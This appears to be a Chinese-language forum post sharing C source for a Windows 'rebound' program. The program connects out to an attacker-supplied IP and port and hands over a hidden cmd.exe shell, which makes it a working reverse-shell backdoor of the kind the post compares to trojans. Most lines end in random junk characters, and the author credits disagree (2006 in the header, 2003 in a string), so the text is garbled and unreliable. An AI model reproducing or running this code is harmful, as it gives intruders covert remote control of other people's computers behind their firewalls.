这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 &YAw~1A
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/* ============================== sj@B0R=Qo
Rebound port in Windows NT ^zdZ"\x
By wind,2006/7 Z_Tu*
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===============================*/ gQXB=ywF
#include #=>t6B4af
#include XYeuYLut
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#pragma comment(lib,"wsock32.lib") @qC](5|TQ
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void OutputShell(); +mc0:e{WF
SOCKET sClient; 1trk
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 4g^nhJP$
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void main(int argc,char **argv) Qw&It
{ ?Q`u\G3.m
WSADATA stWsaData; IF"-{@
int nRet; |&O7F;/_
SOCKADDR_IN stSaiClient,stSaiServer; z:
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if(argc != 3) s@Q,
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{ _FG?zE
printf("Useage:\n\rRebound DestIP DestPort\n"); ^Q)&lxlxpx
return; <,r(^Ntz
} G}MJWf Hl
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WSAStartup(MAKEWORD(2,2),&stWsaData); f$\gm+&hXE
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); JqX+vRY;dd
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stSaiClient.sin_family = AF_INET; =D 1%-ym
stSaiClient.sin_port = htons(0); Hchh2
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); KW17CJ@
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) #q[k"x=c
{ *^]lFuX\&E
printf("Bind Socket Failed!\n"); :fxG]uf-P
return; U9uy(KOW
} ups]k?4
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stSaiServer.sin_family = AF_INET; 3_AVJv
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stSaiServer.sin_port = htons((u_short)atoi(argv[2])); d&z^u.SY
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); xy/B<.M1
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) zjuU*$A4
{ Tc{n]TV
printf("Connect Error!"); "JHdF&
return; rD7L==Ld
} ]z^*1^u^ig
OutputShell(); _{d0Nm
} r`t|}m
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void OutputShell() 9&FFp*'3
{ ]VarO'
char szBuff[1024]; 4 w$f-
SECURITY_ATTRIBUTES stSecurityAttributes; y":Y$v,P
OSVERSIONINFO stOsversionInfo; 7'pmW,;
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; WyO7,Qr\
STARTUPINFO stStartupInfo; a{oG[e
char *szShell; 38I .1p9
PROCESS_INFORMATION stProcessInformation; @U~i<kt
unsigned long lBytesRead; Wr3).m52}P
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Q Pel n)
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); >4c7r~\k
stSecurityAttributes.lpSecurityDescriptor = 0; d[cqs9=\
stSecurityAttributes.bInheritHandle = TRUE; )#NT* @j`
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); =vqy5y
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); -#9Hb.Q;
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); n0/H2>I[
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =th(Hdk17
stStartupInfo.wShowWindow = SW_HIDE; -AJ$-y
stStartupInfo.hStdInput = hReadPipe; 0`{3|g
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; dKKh ^D`~
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GetVersionEx(&stOsversionInfo); LF2@qv w D
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switch(stOsversionInfo.dwPlatformId) ZSB_OS[N
{ X =sC8E dx
case 1: zc}qAy'<
szShell = "command.com"; \.@fAgv
break; ^oL43#Nlo
default: `{1&*4!
szShell = "cmd.exe";
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break; X^2Txm d
} E3p3DM0F$
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); V*$(T t(
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send(sClient,szMsg,77,0); xK8n~.T('
while(1) PYOU=R%o`8
{
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); `|t X[':
if(lBytesRead) a!_vd B
{ b1("(,r/`
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); <c,/+
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send(sClient,szBuff,lBytesRead,0); .e^AS~4pl
} ( %i)A$i6a
else c
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{ li U=&wM>
lBytesRead=recv(sClient,szBuff,1024,0); 5|4=uoA<
if(lBytesRead<=0) break; stb)Tl^
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); -{ae
} aMUy^>
} 8 |@WuD
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return; *KDT0 ;/s
}